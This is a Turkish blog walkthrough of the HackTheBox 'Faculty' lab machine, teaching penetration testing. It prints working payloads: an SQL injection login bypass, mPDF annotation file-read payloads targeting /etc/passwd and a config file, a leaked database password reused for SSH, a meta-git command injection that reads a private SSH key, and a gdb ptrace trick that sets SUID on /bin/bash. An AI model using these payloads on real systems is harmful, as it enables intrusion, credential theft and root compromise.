HackTheBox
HTB Machine: Faculty
January 1, 2026
Giriş
Faculty, HackTheBox platformundaki orta seviye Linux makinelerinden biri. Bu makine gerçek dünya senaryolarını oldukça güzel yansıtıyor. Karşımızda bir okul fakülte yönetim sistemi var ve bu sistemdeki zafiyetleri kullanarak önce düşük yetkili bir kullanıcı, ardından geliştirici hesabı ve son olarak root yetkisi elde edeceğiz.
Makinede karşılaşacağımız zafiyetler sırasıyla: SQL Injection ile kimlik doğrulama atlatma, mPDF kütüphanesindeki Local File Inclusion (LFI) zafiyeti, meta-git npm paketindeki kod enjeksiyonu ve Linux capability’lerinin kötüye kullanımı.

Yukarıdaki şema, Faculty makinesini çözerken izlediğimiz yolu gösteriyor. En başta nmap ile port taraması yapıyoruz, ardından web uygulamasındaki SQL injection zafiyetini kullanarak admin paneline giriyoruz. Oradan mPDF’in LFI açığıyla config dosyalarını okuyup şifre buluyoruz. SSH ile girdikten sonra meta-git’teki command injection ile developer kullanıcısına geçiyoruz, son adımda da gdb’nin capability’lerini kullanarak root oluyoruz.
Keşif Aşaması
Port Taraması
Her penetrasyon testinde olduğu gibi işe nmap taraması ile başlıyoruz:
nmap -sC -sV -p- 10.10.11.169 -oN faculty_nmap.txt
Tarama sonucunda iki açık port tespit ediyoruz:
| Port | Servis | Versiyon |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | nginx 1.18.0 |
SSH portu şimdilik işimize yaramayacak çünkü elimizde kimlik bilgisi yok. Odak noktamız web sunucusu olacak.

Makinenin iç yapısı aslında oldukça basit. Dışarıya açık sadece iki port var: SSH (22) ve HTTP (80). Nginx web sunucusu arkasında PHP ile yazılmış bir fakülte yönetim sistemi çalışıyor. Bu uygulama MySQL veritabanına bağlanıyor. Sistemde iki kullanıcı var: gbyolo (düşük yetkili) ve developer (orta seviye). Bizim hedefimiz tabii ki root.
Web Uygulaması Keşfi
Tarayıcıda IP adresine gittiğimizde faculty.htb adresine yönlendiriliyoruz. Bu yüzden hosts dosyamıza bu kaydı eklememiz gerekiyor:
echo "10.10.11.169 faculty.htb" | sudo tee -a /etc/hosts
Siteye tekrar gittiğimizde “School Faculty Scheduling System” adında bir PHP uygulaması ile karşılaşıyoruz. Giriş sayfasında fakülte ID’si ve şifre isteniyor.
İlk Erişim - SQL Injection
Kimlik Doğrulama Atlatma
Giriş formunu incelediğimizde klasik bir SQL injection denemesi yapıyoruz. Kullanıcı adı alanına şu değeri giriyoruz:
admin' or '1'='1
Şifre alanına herhangi bir şey yazabiliriz. Bu payload’ın çalışma mantığı şöyle: Uygulama muhtemelen şöyle bir SQL sorgusu çalıştırıyor:
SELECT * FROM users WHERE username='$username' AND password='$password'
Bizim girdiğimiz değerle bu sorgu şuna dönüşüyor:
SELECT * FROM users WHERE username='admin' or '1'='1' AND password='herhangi'
'1'='1' her zaman doğru olduğu için sorgu geçerli bir kullanıcı döndürüyor ve sisteme admin olarak giriyoruz.

Bu diyagram SQL injection’ın nasıl çalıştığını gösteriyor. Normal durumda sorgu hem kullanıcı adını hem şifreyi kontrol ediyor. Ama biz kullanıcı adı alanına admin' or '1'='1 yazınca, SQL sorgusu bozuluyor. OR operatörü sayesinde ‘1’=’1’ her zaman doğru olduğundan, şifre ne olursa olsun sorgu başarılı oluyor ve sistem bizi içeri alıyor. Klasik ama hala çok yaygın bir zafiyet.
Dashboard İncelemesi
Giriş yaptıktan sonra fakülte yönetim panelini görüyoruz. Menüde Course List, Subject List, Faculty List, Schedule ve Users sekmeleri var. Faculty List sayfasında dikkatimizi çeken bir PDF butonu var. Bu buton fakülte listesini PDF olarak indirmemizi sağlıyor.
Local File Inclusion (LFI) Zafiyeti
mPDF Kütüphanesi
PDF butonuna tıkladığımızda Burp Suite ile trafiği yakalıyoruz. İstek şöyle görünüyor:
POST /admin/download.php HTTP/1.1
Host: faculty.htb
Content-Type: application/x-www-form-urlencoded
pdf=JTI1M0NoMSUyNTNFJTI1M0MlMkZoMSUyNTNF...
Bu pdf parametresi Base64 ile kodlanmış ve içinde URL encoding uygulanmış HTML içeriği var. Uygulama bu HTML’i alıp mPDF kütüphanesi ile PDF’e çeviriyor.
mPDF kütüphanesinin eski versiyonlarında ciddi bir güvenlik açığı var. <annotation> HTML etiketi kullanılarak sunucudaki yerel dosyalar PDF’e ek olarak dahil edilebiliyor. Bu klasik bir Local File Inclusion zafiyeti.
Payload Hazırlama
LFI payload’ımız şöyle:
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Bu payload’ı uygulamanın beklediği formata getirmemiz gerekiyor. Önce URL encoding (iki kez), sonra Base64 encoding uyguluyoruz:
# Double URL encode + Base64
payload='<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />'
url_encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote(urllib.parse.quote('$payload', safe=''), safe=''))")
echo -n "$url_encoded" | base64 -w 0
Sonuç:
JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlJTI1M0QlMjUyMiUyNTJGZXRjJTI1MkZwYXNzd2QlMjUyMiUyNTIwY29udGVudCUyNTNEJTI1MjIlMjUyRmV0YyUyNTJGcGFzc3dkJTI1MjIlMjUyMGljb24lMjUzRCUyNTIyR3JhcGglMjUyMiUyNTIwdGl0bGUlMjUzRCUyNTIyQXR0YWNoZWQlMjUyMEZpbGUlMjUzQSUyNTIwJTI1MkZldGMlMjUyRnBhc3N3ZCUyNTIyJTI1MjBwb3MteCUyNTNEJTI1MjIxOTUlMjUyMiUyNTIwJTI1MkYlMjUzRQ==

mPDF zafiyetinin işleyişi biraz karmaşık görünse de mantığı basit. Önce HTML içinde <annotation file="/etc/passwd"> gibi bir tag yazıyoruz. Ama uygulama bunu doğrudan kabul etmiyor, önce iki kez URL encode etmemiz, sonra da Base64’e çevirmemiz gerekiyor. Bu encode edilmiş veriyi pdf parametresine gönderdiğimizde, mPDF bunu işlerken dosyayı okuyor ve PDF’e ekliyor. Sonuç olarak PDF’i indirdiğimizde içinde /etc/passwd dosyası ek olarak geliyor.
Dosya Okuma
Burp Repeater’da pdf parametresini bu payload ile değiştirip isteği gönderiyoruz. Response’da bir PDF dosya adı dönüyor. Bu PDF’i tarayıcıda açtığımızda sağ üst köşede bir attachment ikonu görüyoruz. Bu eke tıkladığımızda /etc/passwd dosyasının içeriğini okuyabiliyoruz.
root:x:0:0:root:/root:/bin/bash
...
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
İki önemli kullanıcı tespit ettik: gbyolo ve developer.
Veritabanı Kimlik Bilgileri
Aynı teknikle web uygulamasının config dosyasını okuyoruz:
<annotation file="/var/www/scheduling/admin/db_connect.php" content="/var/www/scheduling/admin/db_connect.php" icon="Graph" title="Attached File" pos-x="195" />
Config dosyasında veritabanı bağlantı bilgilerini buluyoruz:
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
Şifre: Co.met06aci.dly53ro.per
SSH Erişimi
Birçok sistemde kullanıcılar farklı servisler için aynı şifreyi kullanır. Bu klasik bir güvenlik hatası. Veritabanı şifresini gbyolo kullanıcısı için deniyoruz:
ssh gbyolo@10.10.11.169
# Şifre: Co.met06aci.dly53ro.per
Ve içeri girdik! İlk shell’imizi aldık.
Yatay Yetki Yükseltme - gbyolo’dan developer’a

Yetki yükseltme süreci üç aşamadan oluşuyor. İlk adımda gbyolo kullanıcısıyız ve sudo haklarımızı kontrol ediyoruz. meta-git’i developer olarak çalıştırabildiğimizi görüyoruz. İkinci adımda meta-git’teki command injection zafiyetini kullanarak developer kullanıcısının SSH anahtarını çalıyoruz ve o kullanıcıya geçiyoruz. Son adımda ise sistemdeki capability’leri tarıyoruz ve gdb’nin CAP_SYS_PTRACE yetkisine sahip olduğunu görüyoruz. Bu yetkiyle root process’ine attach olup sistem komutu çalıştırarak root oluyoruz.
Sudo Hakları
Sistemde ilk yapacağımız şey sudo haklarını kontrol etmek:
sudo -l
Çıktı:
User gbyolo may run the following commands:
(developer) /usr/local/bin/meta-git
Bu çok ilginç bir bulgu. gbyolo kullanıcısı, meta-git aracını developer kullanıcısı olarak çalıştırabiliyor.
meta-git Zafiyeti
meta-git, birden fazla git reposunu yönetmek için kullanılan bir npm paketi. Bu paketin belirli versiyonlarında ciddi bir kod enjeksiyonu zafiyeti var. clone komutu kullanıcı girdisini yeterince filtrelemeden shell’e aktarıyor.
Zafiyet şöyle istismar ediliyor:
cd /tmp
sudo -u developer meta-git clone 'aaa||komut'
|| operatörü shell’de “veya” anlamına geliyor. İlk komut başarısız olursa ikinci komut çalışıyor. Biz de bu şekilde istediğimiz komutu developer olarak çalıştırabiliyoruz.
SSH Anahtarı Çalma
Developer kullanıcısının SSH private key’ini okuyoruz:
sudo -u developer meta-git clone 'aaa||cat /home/developer/.ssh/id_rsa'
Private key ekrana basılıyor. Bu anahtarı kendi makinemize kaydediyoruz:
# Kendi makinemizde
nano dev_key
# Key'i yapıştır
chmod 600 dev_key
ssh -i dev_key developer@10.10.11.169
Artık developer kullanıcısıyız ve user flag’i okuyabiliriz:
cat /home/developer/user.txt
Dikey Yetki Yükseltme - developer’dan root’a
Linux Capabilities
Linux’ta capability sistemi, root yetkilerini daha küçük parçalara ayırmayı sağlar. Bir program belirli capability’lere sahipse, root olmadan bazı ayrıcalıklı işlemleri yapabilir. Bu bazen güvenlik açığına dönüşebilir.
Sistemdeki capability’leri kontrol ediyoruz:
getcap -r / 2>/dev/null
Çıktı:
/usr/bin/gdb = cap_sys_ptrace+ep
gdb programı CAP_SYS_PTRACE capability’sine sahip. Bu capability, başka process’lere attach olma ve onları debug etme yetkisi veriyor. Yanlış kullanıldığında root process’lerine shellcode enjekte etmek mümkün oluyor.
Root Process Bulma
Root olarak çalışan process’leri listeliyoruz:
ps aux | grep "^root"
Python3 ile çalışan bir root process görüyoruz:
root 691 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
PID 691 bizim hedefimiz.
GDB ile Shellcode Enjeksiyonu
gdb ile root process’ine attach olup sistem komutu çalıştırıyoruz:
gdb -q -p 691
GDB içinde:
call (void)system("chmod u+s /bin/bash")
detach
quit
Bu komut /bin/bash‘e SUID biti ekliyor. SUID biti sayesinde bash, sahibinin (root) yetkileriyle çalışacak.
Root Shell
/bin/bash -p
whoami
# root
Root flag’i okuyabiliriz:
cat /root/root.txt
Özet ve Çıkarımlar
Bu makinede tam bir sızma testi senaryosu yaşadık:
- Keşif: nmap ile açık portları bulduk
- Web Zafiyeti: SQL injection ile admin paneline girdik
- Dosya Okuma: mPDF LFI zafiyeti ile config dosyasını okuduk
- İlk Erişim: Şifre tekrar kullanımı sayesinde SSH erişimi aldık
- Yatay Hareket: meta-git zafiyeti ile developer olduk
- Root: CAP_SYS_PTRACE capability’sini kötüye kullanarak root olduk
Güvenlik Dersleri
Bu makineden çıkarılacak dersler:
- Kullanıcı girdileri mutlaka filtrelenmeli (SQL Injection)
- Üçüncü parti kütüphaneler güncel tutulmalı (mPDF)
- Farklı servisler için farklı şifreler kullanılmalı
- npm paketleri güvenlik açısından incelenmeli (meta-git)
- Linux capability’leri dikkatli atanmalı (CAP_SYS_PTRACE)
Kullanılan Araçlar
- nmap - Port taraması
- Burp Suite - HTTP trafiği analizi
- Python - Payload encoding
- gdb - Process debugging
- SSH - Uzak erişim
Yorumlar